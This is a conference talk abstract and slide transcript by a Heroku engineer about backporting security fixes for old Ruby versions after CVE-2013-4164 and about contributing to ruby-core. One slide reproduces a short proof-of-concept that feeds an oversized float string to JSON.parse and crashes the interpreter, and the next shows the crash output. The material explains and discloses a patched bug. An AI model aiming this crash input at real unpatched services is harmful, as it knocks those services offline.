Ruby & You - RuLu 2014

On November 22, 2013, a devastating security exploit was publicized to the Ruby community: Heap Overflow in Floating Point Parsing CVE-2013-4164. There was no fixes provided for Ruby 1.9.2. In fact, Ruby 1.9.2 has never had a formal end of life announcement.

At Heroku we realized this impacted our ability to provide reliable runtime support. Not wanting to leave our customers high and dry, Heroku released Ruby 1.8.7 and 1.9.2 security patches on our runtimes and pushed to get them upstream.

This situation paved the way for me to join ruby-core to help maintain security fixes for 1.8.7 and 1.9.2. Over the course of the year with help from zzak, I’ve been figuring out how to work with ruby core as well as proposing policy changes for more transparency.

This talk, goes through the steps and mistakes that I learned on how to interact with members of ruby core as well as telling war stories of my experience on core. We’ll remove the opacity around getting contributions upstreamed and how you can have meaningful discussions with the implementers about the language we all know and love. Help us make Ruby better.

Transcript

1. Ruby & You
2. @olivierlacan
3. We Made It \o/
4. Friday Hug!
5. Terence Lee @hone02
6. Austin, TX
7. Jacuzzi for your Hands
9. #rubykaraoke ← @headius @plexus →
10. A Whole New World... #RubyNation @hone02 @kenichi_pdx
13. jobs.heroku.com We’re Hiring!
14. Ruby Task Force
15. Ruby Task Force Member
16. Matz’s Ruby Team
17. ← Matz
18. ← ko1
19. ← ko1 Performance Prince
20. nobu →
21. nobu → Patch Monster
22. Top 5 Committers $ git shortlog -s --since=2012 | sort -rn | \ head -6 2739 nobu <--- 867 akr 710 svn 635 ko1 596 naruse 448 zzak
23. Top 5 (Human) Committers $ git shortlog -s --since=2012 | sort -rn | \ head -6 2739 nobu 867 akr 710 svn <--- 635 ko1 596 naruse 448 zzak
24. Top 5 (Human) Committers $ git shortlog -s --since=2012 | sort -rn | \ head -6 2739 nobu 867 akr 710 svn 635 ko1 596 naruse 448 zzak <---
25. zzak (@_zzak) sensei (せんせい)
26. zzak (@_zzak) for Ruby Hero
27. Agenda • Story Time • Working with Ruby • A Potential Future
28. Story Time
29. CVE-2013-4164 November 22, 2013
30. Exploit
31. untrusted_data.to_f Vulnerable Code
32. Venue of Attack JSON.parse untrusted_data
33. Metasploit def digit_pattern @digit_pattern ||= rand(10_000).to_s end def multiplier (500_000 * (1.0/digit_pattern.size)).to_i end def evil_float_string [digit_pattern, digit_pattern * multiplier].join('.') end JSON.parse("[#{evil_float_string}]")
34. $ ruby repro.rb [BUG] Segmentation fault ruby 2.0.0p247 (2013-06-27 revision 41674) [x86_64-linux] -- C level backtrace information ---------------------- /../lib/libruby.so.2.0(+0x1ceaa8) [0x7f8787802aa8] /../rubies/ruby-2.0.0-p247/lib/libruby.so.2.0(+0x74e0a) /../lib/libruby.so.2.0(rb_bug+0xb3) [0x7f87876a9af3] /../lib/libruby.so.2.0(+0x14cf66) [0x7f8787780f66]
35. Affected Versions • Ruby 1.8 after 1.8.6p230 • Ruby 1.9 prior to 1.9.3p484 • Ruby 2.0 prior to 2.0.0p353 • Ruby 2.1 prior to 2.1.0 preview2 • trunk prior to revision 43780
36. Solution... All users are recommended to upgrade to • Ruby 1.9.3p484 • Ruby 2.0.0p353 • Ruby 2.1.0 preview2
37. What about Ruby 1.8.7? Please note that Ruby 1.8 series or any earlier releases are already obsoleted. There is no plan to release new FIXED versions for them.
38. Ruby 1.9.2?
39. Doubts 1. Don’t do anything 2. Patch just once 3. Maintain Ruby 1.8.7/1.9.2
40. A Patch in Time Heroku releases two unofficial rubies: 1. Ruby 1.9.2p321 2. Ruby 1.8.7p375 github.com/heroku/ruby
41. To: cvs-admin@ruby-lang.org, shugo@ruby-lang.org, matz@ruby-lang.org, shyouhei@ruby-lang.org, zzak@ruby-lang.org At Heroku, we’re still maintaining security fixes for customers on 1.8.7 and 1.9.2 while we figure out our end of life process. After discussion on the security list, I’d like to apply these patches to the proper branches upstream so things don’t get out of sync. Here are the commits I’d like to apply: https://github.com/ruby/ruby/pull/457 https://github.com/ruby/ruby/pull/458 -Terence
44. Getting on Core • Send enough patches • port Ruby to non-POSIX platforms • write library brought into stdilb • security backporting
45. Friendly Reminder UPGRADE Your Rubies
46. PSA Ruby 1.8.7 / 1.9.2 Support Ends This Month
47. Ruby 1.9.3 support ends 2/23/2015
48. Working with Ruby
49. Why Should You Care?
50. Why Do I Care?
53. The people are the most important part.
54. Why Should You Care?
55. Getting the Source (SVN) Trunk: $ svn co http://svn.ruby-lang.org/repos/ruby/trunk ruby Branch: $ svn co \ http://svn.ruby-lang. org/repos/ruby/branches/ruby_2_0_0
56. Getting the Source (git-svn) $ git clone git@github.com:ruby/ruby.git $ cd ruby $ git svn init \ svn+ssh://svn@ci.ruby- lang.org/ruby/trunk $ mv .git/refs/remotes/origin/trunk \ . git/refs/remotes/git-svn $ git svn rebase
57. Protips
58. Did you know... the patchlevel no. is incremented by hand
59. all dates are in JST (UTC +9) github.com/zzak/dotvim/blob/master/.vimrc#L12-L20
60. Top 5 (Human) Committers $ git shortlog -s --since=2012 | sort -rn | \ head -6 2739 nobu 867 akr 710 svn <--- 635 ko1 596 naruse 448 zzak
62. Running Tests $ mkdir build $ autoconf $ cd build $ ./configure --prefix=~/tmp/xxx --enable-shared \ --with-openssl-dir=/path/to/openssl \ --with-readline-dir=/path/to/readline \ --with-zlib-dir=/path/to/zlib $ make test-all TESTS=-v
63. Running Individual Test Files $ make test-all TESTS=drb/test_drb.rb
64. Creating a Patch $ diff -pu original/ changed/ \ > ruby-changes.patch $ svn diff > ruby-changes.patch $ git diff > ruby-changes.patch
65. Communication
66. Mailing Lists (ruby-lang.org) →
67. • Ruby-Talk • Ruby-Core • Ruby-Doc • Ruby-CVS
68. Twitter is not a bug tracker
69. Issue Tracker (bugs.ruby-lang.org)
70. Filing Issues • Bugs are fixed on trunk first • Can request backport once committed to trunk • bugs.ruby-lang.org/projects/ruby-trunk/issues/new
71. Create an Account / Login →
72. Search for Existing Issues →
73. →
74. Issue List
75. →
77. github.com/ruby/ruby/blob/trunk/doc/maintainers.rdoc Maintainer’s List
80. Security • Email security@ruby-lang.org • Responsible Disclosure • Vulnerability/Use cases • Affected Rubies
81. Story: Insecure SSL Defaults • Ruby get it’s default from OpenSSL • Who’s responsibility is it?
83. Ruby Core Developer Meetings • Draft an agenda • Pick a date (estimate) • Ask Matz • Ask ruby-core
86. More Protips...
87. English is not everyone’s primary language
88. People on Ruby Core speak Ruby
89. Issues are often consumed over e-mail
90. A Potential Future
91. Goals • Trust • Transparency • Onboarding
93. Moving to Git • Backport Tools • Redmine • Version Log • Others? • Convince Core • Profit…?
94. Supporting Legacy Rubies
95. Improve Onboarding Materials
96. Wrapup
97. Anybody can contribute to Ruby
98. There’s more to contribution than C code
99. May the Ruby be with you
100. Thank You ありがとがざいます @hone02 terence@heroku.com